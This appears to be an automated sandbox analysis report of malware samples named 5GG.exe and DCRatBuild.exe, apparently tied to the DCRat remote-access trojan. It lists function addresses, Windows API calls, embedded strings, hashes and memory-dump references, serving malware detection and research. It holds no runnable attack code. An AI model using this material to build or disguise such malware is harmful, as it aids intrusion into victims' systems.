Instruction ID: 8ca1f9e73569025ea08cd3f39d7526bf0dd7ad8d59d60c501d01824b5c7e8167
Opcode Fuzzy Hash: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
Instruction Fuzzy Hash: 6551C53750824696EBA4AF1190A4368B7A0EB56F84F944237DA9CC7BC7EF3CE454C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A2890 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

MessageBoxW.USER32 ref: 00007FF7E54A299B
MessageBoxA.USER32 ref: 00007FF7E54A29B7

Strings

%s%s: %s, xrefs: 00007FF7E54A2916
Fatal error detected, xrefs: 00007FF7E54A2971, 00007FF7E54A29A9

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
Instruction ID: 71c229ed880c065c0940f6f640b28e83876a50591831503f360ad0097d6c8d06
Opcode Fuzzy Hash: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
Instruction Fuzzy Hash: 9C31727262868591E660FB10E4617EAA364FFC5BC4FC04037E68D87A9ADF3CD209CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A3EC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7E54A39EA), ref: 00007FF7E54A3EF1

Part of subcall function 00007FF7E54A29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7E54A87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A2A14
Part of subcall function 00007FF7E54A29E0: MessageBoxW.USER32 ref: 00007FF7E54A2AF0

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF7E54A3F2A
Failed to get executable path., xrefs: 00007FF7E54A3EFB
GetModuleFileNameW, xrefs: 00007FF7E54A3F02

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
Instruction ID: 75b8e2c80247ab4d8412ae30af5f1ca84ac8e3e9084e08a538970407867bece0
Opcode Fuzzy Hash: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
Instruction Fuzzy Hash: 3B01D420B2D64A40FAA0B721E8357B59260AF4AFC4FC00033E95DC6697FE3CE10D8722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BCB60 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7E54BCBDF
WriteFile.KERNEL32 ref: 00007FF7E54BCEA7
WriteFile.KERNEL32 ref: 00007FF7E54BCEED
GetLastError.KERNEL32 ref: 00007FF7E54BCFA3

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
Instruction ID: cd1f169e17c886d999136501400a89fa8f8c361ddd03d22746eadc4a04772338
Opcode Fuzzy Hash: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
Instruction Fuzzy Hash: 24D13572B18A4689E750DFB4D4906ACB7B1FB45B98B804236DF5D97BC9DE38D40AC310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A2330 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7E54A2364
SetWindowLongPtrW.USER32 ref: 00007FF7E54A2386
GetWindowLongPtrW.USER32 ref: 00007FF7E54A23B0
InvalidateRect.USER32 ref: 00007FF7E54A23D0

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction ID: fb67eae17b8539208ae308552a2a19c2189a466898aaec6804d0433ff35d5eb4
Opcode Fuzzy Hash: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction Fuzzy Hash: C411E921E0C14A42FA94A77AF5543799291EF8BF80FD48032EE4986B9FDD3CD4C95711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C628C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54C1DD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C1E03

_get_daylight.LIBCMT ref: 00007FF7E54C63A4
_get_daylight.LIBCMT ref: 00007FF7E54C63B5

Strings

?, xrefs: 00007FF7E54C6335

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
Instruction ID: 1b38135a7af48f242d7d770766d9c9f70eba1cde214b78903cc4abaad0d58cde
Opcode Fuzzy Hash: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
Instruction Fuzzy Hash: 42414C22A0834941F764A729E425379D750EFC2FA4F908236EF5C87AE9DE3CD445C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B95A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B95D6

Part of subcall function 00007FF7E54BAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF22
Part of subcall function 00007FF7E54BAF0C: GetLastError.KERNEL32(?,?,?,00007FF7E54C3392,?,?,?,00007FF7E54C33CF,?,?,00000000,00007FF7E54C3895,?,?,00000000,00007FF7E54C37C7), ref: 00007FF7E54BAF2C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7E54ABFE5), ref: 00007FF7E54B95F4

Strings

C:\Users\user\AppData\Local\Temp\5GG.exe, xrefs: 00007FF7E54B95E2

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\5GG.exe
API String ID: 2553983749-867555202
Opcode ID: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
Instruction ID: 8e975ecc8ab9e93991741d6e477bd3ca589e652f98980c88259d4601cf2d6402
Opcode Fuzzy Hash: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
Instruction Fuzzy Hash: F1419732A0871A86E795FF6294603BCA794EF86F80B944037E94DC7B85DF3CD8598321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BD1F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7E54BD30F
GetLastError.KERNEL32 ref: 00007FF7E54BD331

Strings

U, xrefs: 00007FF7E54BD2BB

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
Instruction ID: 5790718d910a797726bfe16c782c2759a2e37ed0e3f77b4d7683f7209f806b88
Opcode Fuzzy Hash: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
Instruction Fuzzy Hash: 6A41E532B18A8982EB60EF65E4543A9B7A0FB85B90F804132EE4DC7758DF3CD449C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BF918 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7E54BF958
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7E54BF9AA

Strings

:, xrefs: 00007FF7E54BF96E

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 4482f0b2aa88d097fa4b172b4d0b9d8fa621ceaf6a6e580bcf5a02da10cef38f
Instruction ID: fc327b2245af77ca75d5412ddb749ef12b233b2188f8bfc4281122ce53f076a0
Opcode Fuzzy Hash: 4482f0b2aa88d097fa4b172b4d0b9d8fa621ceaf6a6e580bcf5a02da10cef38f
Instruction Fuzzy Hash: D921E333A0828991EB60AB15D02436DA3B1FB85F44FD14037D68D83285EF7CE9498762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A2C50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

MessageBoxW.USER32 ref: 00007FF7E54A2D25
MessageBoxA.USER32 ref: 00007FF7E54A2D41

Strings

Error detected, xrefs: 00007FF7E54A2CFB, 00007FF7E54A2D33

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
Instruction ID: 6c5c383a1ed2768cbf883fba5436d90c385c2acb8b6823c84e49c6745ac897d4
Opcode Fuzzy Hash: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
Instruction Fuzzy Hash: C721567262868991F760EB10F4617EAA364FF85BC4FC05136D64D87A6ADF3CD209C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A2B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

MessageBoxW.USER32 ref: 00007FF7E54A2C05
MessageBoxA.USER32 ref: 00007FF7E54A2C21

Strings

Fatal error detected, xrefs: 00007FF7E54A2BDB, 00007FF7E54A2C13

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
Instruction ID: b243ab7cc2fb12d3c5fec99d56400bd6373835b102518806785a48eb23c47af8
Opcode Fuzzy Hash: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
Instruction Fuzzy Hash: 5E21447262868991F760AB10E4617EAA364FF85B84FC05136D64D87A69DF3CD209CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AFE80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7E54AFED0
RaiseException.KERNEL32 ref: 00007FF7E54AFF11

Strings

csm, xrefs: 00007FF7E54AFEFE

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
Instruction ID: d2e01aa50314e239799fca748701e473162b7de6a569deef300174da580c65f9
Opcode Fuzzy Hash: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
Instruction Fuzzy Hash: 44116736618B4482EBA08B14F41026AB7A4FB88F84F984235DA8C8775AEF3CC4558B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C041C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C044C
GetDriveTypeW.KERNEL32 ref: 00007FF7E54C048C

Strings

:, xrefs: 00007FF7E54C0475

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
Instruction ID: 0718adb27b866974289e4e1ab45654ae598bfbced9cd3cf51f37e041b5403c24
Opcode Fuzzy Hash: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
Instruction Fuzzy Hash: 51017C2191C20A86FB61BF60947137EA3A0EF86B05FC00437D54DC6691EE3CE508DA2A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DCRatBuild.exePID: 7356, Parent PID: 7272COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.9%
Total number of Nodes:	1469
Total number of Limit Nodes:	32

Executed Functions

Function 0088DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00880863: GetModuleHandleW.KERNEL32(kernel32), ref: 0088087C
Part of subcall function 00880863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0088088E
Part of subcall function 00880863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 008808BF

Part of subcall function 0088A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0088A655

Part of subcall function 0088AC16: OleInitialize.OLE32(00000000), ref: 0088AC2F
Part of subcall function 0088AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0088AC66
Part of subcall function 0088AC16: SHGetMalloc.SHELL32(008B8438), ref: 0088AC70

GetCommandLineW.KERNEL32 ref: 0088DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0088DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0088DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 0088DFCE

Part of subcall function 0088DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0088DBF4
Part of subcall function 0088DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0088DC30

CloseHandle.KERNEL32(00000000), ref: 0088DFD7
GetModuleFileNameW.KERNEL32(00000000,008CEC90,00000800), ref: 0088DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,008CEC90), ref: 0088DFFE
GetLocalTime.KERNEL32(?), ref: 0088E009
_swprintf.LIBCMT ref: 0088E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0088E05A
GetModuleHandleW.KERNEL32(00000000), ref: 0088E061
LoadIconW.USER32(00000000,00000064), ref: 0088E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0088E0C9
Sleep.KERNEL32(?), ref: 0088E0F7
DeleteObject.GDI32 ref: 0088E130
DeleteObject.GDI32(?), ref: 0088E140
CloseHandle.KERNEL32 ref: 0088E183

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 0088DF33
sfxstime, xrefs: 0088E055
STARTDLG, xrefs: 0088E0BE
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0088E039
winrarsfxmappingfile.tmp, xrefs: 0088DF77
sfxname, xrefs: 0088DFF9

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2070194233
Opcode ID: 8f4e31f48e82f2642acc021b4ff32873d1cec25c592339df6f38eaeb1a6afeaf
Instruction ID: 3053243693dcb54965221c48297e1ee3fb7caba52ef9a30bce39324c764b891c
Opcode Fuzzy Hash: 8f4e31f48e82f2642acc021b4ff32873d1cec25c592339df6f38eaeb1a6afeaf
Instruction Fuzzy Hash: 4E61B071904745AFE320BBB8EC49F6B77ADFB45700F04042AFA45D22A2DB78D944CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0088A6C2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0088B73D,00000066), ref: 0088A6D5
SizeofResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A6EC
LoadResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A703
LockResource.KERNEL32(00000000,?,?,?,0088B73D,00000066), ref: 0088A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0088B73D,00000066), ref: 0088A72D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,0088B73D,00000066), ref: 0088A73E
GlobalUnlock.KERNEL32(00000000), ref: 0088A7C6

Part of subcall function 0088A626: GdipAlloc.GDIPLUS(00000010), ref: 0088A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0088A7A7
GlobalFree.KERNEL32(00000000), ref: 0088A7CD

Strings

PNG, xrefs: 0088A6C6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
